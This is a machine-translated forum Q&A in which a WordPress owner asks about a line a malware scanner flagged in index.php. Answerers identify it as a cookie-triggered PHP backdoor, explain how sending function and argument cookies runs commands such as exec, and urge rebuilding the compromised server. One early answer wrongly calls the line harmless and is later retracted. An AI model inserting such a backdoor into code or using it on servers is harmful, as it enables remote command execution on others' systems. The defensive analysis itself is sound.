2016-05-25 3 views
0

Недавно один из WP-файлов веб-сайт, где удаленные «CxS сканера» и обнаруженными все файлы в корневой папкеWordpress незнакомый код в корневых файлов

index.php' Known exploit = [Fingerprint Match] [PHP COOKIE Exploit [P1036]]

Когда я сравнивал файл детектируется как куки эксплуатируют с старая версия, я заметил, что там была дополнительная строка кода добавляется в этот файл:

Обнаруженные index.php

<?php 

if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); 


/** 
* Front to the WordPress application. This file doesn't do anything, but loads 
* wp-blog-header.php which does and tells WordPress to load the theme. 
* 
* @package WordPress 
*/ 

/** 
* Tells WordPress to load the WordPress theme and output it. 
* 
* @var bool 
*/ 
define('WP_USE_THEMES', true); 

/** Loads the WordPress Environment and Template */ 
require(dirname(__FILE__) . '/wp-blog-header.php'); 

Старые index.php

<?php 
/** 
* Front to the WordPress application. This file doesn't do anything, but loads 
* wp-blog-header.php which does and tells WordPress to load the theme. 
* 
* @package WordPress 
*/ 

/** 
* Tells WordPress to load the WordPress theme and output it. 
* 
* @var bool 
*/ 
define('WP_USE_THEMES', true); 

/** Loads the WordPress Environment and Template */ 
require(dirname(__FILE__) . '/wp-blog-header.php'); 

Я не разработчик PHP и сравнивая эту строку кода добавляется в помеченный файл:

if (isset($_COOKIE["id"])) @$_COOKIE["user"]($_COOKIE["id"]); 

он должен быть там, или это недостаток безопасности?

ответ

2

Это черный ход/эксплуатация.

В PHP вы можете вызывать функции с именем переменной, вызывая: $ var(). То же самое происходит здесь.

<?php 
function echoit($string) 
{ 
    echo $string; 
} 

$func = 'echoit'; 
$func('test'); // Dies ruft echoit() auf 
?> 

(Источник: http://php.net/manual/de/functions.variable-functions.php)

Для запуска этого эксплойта вы должны отправить два печенья. Один файл cookie с именем: user, с функцией как ваше значение, а другое - с именем «id» с параметром, с которым вы хотите позвонить.

Таким образом, пользователь = "exec", id = "ls" вызовет функцию exec с параметром "ls".

Это довольно хороший ... вы должны удалить эту строку из всех своих файлов.

В дополнение: вы должны выяснить, почему он закончился там первым местом. В этой системе могут быть и другие бэкдоры. Вы должны рассматривать этот сервер под угрозой. Взломанные системы должны быть сожжены. Затем они снова могут подняться из пепла, как прекрасный феникс (или так). Тем не менее, вы должны перестроить свою систему с помощью обновленного программного обеспечения и данных из резервной копии, которая будет чистой и сменить все пароли.

+0

Спасибо, я удалил эту строку кода из всех файлов. Я оставлю этот вопрос открытым еще некоторое время, чтобы иметь другое мнение. Вы отвечаете, что я искал. – Learning

+2

Просто удалить это бесполезно, если вы не исправили проблему, которая позволила злоумышленнику поместить ее туда. Это - или другие подвиги - только вернется.Вы должны учесть эту учетную запись/сервер и создать новый, чистый, с обновленным программным обеспечением и разными паролями для всех учетных записей. – bobince

+0

@bobince thanks..адресная записка о восстановлении и сжигании системы :) – nv1t

0

Значок @ используется только для подавления ошибок и, насколько я могу судить, эта дополнительная строка не является уязвимостью.

+0

Не уверен, то почему он был помечен и удален '' CXS сканера от сервера 'public_html/index.php» Known эксплойт = [Fingerprint Match] [PHP COOKIE Exploit [P1036]] ' – Learning

+0

К сожалению, не было глядя внимательно, я думаю, что он может использоваться для удаленного вызова функции в файле ... Возможно, мой PHP juju недостаточно силен, чтобы понять это. –

+0

Спасибо, будет ждать, когда какой-нибудь эксперт-гуру прокомментирует это. Я не событие из PHP, я просто знаю бит php-программирования ... – Learning

Смежные вопросы